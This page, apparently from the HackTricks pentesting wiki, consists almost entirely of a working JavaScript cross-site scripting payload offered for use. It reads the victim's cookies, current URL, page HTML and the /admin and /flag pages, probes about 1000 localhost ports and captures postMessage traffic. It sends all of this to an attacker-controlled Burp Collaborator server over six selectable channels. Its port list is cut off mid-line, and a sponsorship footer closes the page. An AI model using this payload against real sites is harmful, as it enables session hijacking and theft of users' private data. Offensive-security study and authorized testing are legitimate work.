hacktricks/pentesting-web/xss-cross-site-scripting/steal-info-js.md

<details>

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```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
var ATTACKER_SERVER = "https://weecosb5a2k7jc0cwlyksg9qzh57tw.burpcollaborator.net"
var EXFIL_BY_IMG = false
var EXFIL_BY_RQ_GET = false
var EXFIL_BY_RQ_POST = true
var EXFIL_BY_FETCH_GET = false
var EXFIL_BY_FETCH_POST = false
var EXFIL_BY_NAV = false

var EXFIL_BY_LOC = false
var ALL_INFO = "" // Only used by Location exfiltration


// Function to make the data possible to transmit via either GET or POST
function encode(text){
    return encodeURI(btoa(text));
}

// Functions to exfiltrate the information
function exfil_info(info_name, text, is_final=false){
    if (EXFIL_BY_IMG)               exfil_by_img(info_name, text);
    if (EXFIL_BY_RQ_GET)            exfil_by_rq_get(info_name, text);
    if (EXFIL_BY_RQ_POST)           exfil_by_rq_post(info_name, text);
    if (EXFIL_BY_FETCH_GET)         exfil_by_fetch_get(info_name, text);
    if (EXFIL_BY_FETCH_POST)        exfil_by_fetch_post(info_name, text);
    if (EXFIL_BY_NAV)               exfil_by_nav(info_name, text);
    if (EXFIL_BY_LOC){
        if (is_final) exfil_by_loc(info_name, text);
        else ALL_INFO += "\n\n" + info_name + "=" + text;
    }
}

function exfil_by_img(info_name, text){
    new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text
}

function exfil_by_rq_get(info_name, text){
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true);
    xhttp.send();
}

function exfil_by_rq_post(info_name, text){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true);
    xhttp.send(text);
}

function exfil_by_fetch_get(info_name, text){
    fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'});
}

function exfil_by_fetch_post(info_name, text){
    fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text});
}

function exfil_by_nav(info_name, text){
    navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
}

function exfil_by_loc(info_name, text){
    document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO);
}


// Functions to get the data to exfiltrate
function exfil_page_content(url){
    var xhr  = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            exfil_info(url, encode(xhr.responseText));
        }
    }
    xhr.open('GET', url, true);
    xhr.send(null);
}

function exfil_internal_port(port){
    fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => { 
        exfil_info("internal_port", encode(port));
    });
}


// Info to exfiltrate
exfil_info("cookies", encode(document.cookie));
exfil_info("current_url", encode(document.URL));
exfil_info("current_content", encode(document.documentElement.innerHTML));
exfil_page_content("/");
exfil_page_content("/admin"); // If 404 nothing will be sent
exfil_page_content("/flag");
exfil_page_content("/flag.txt");

top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,1
top_1000.forEach(port => exfil_internal_port(port));

if (EXFIL_BY_LOC){
    setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
}

// Sniff info
window.onmessage = function(e){
    exfil_info("onmessage", encode(e.data))
}
```


<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>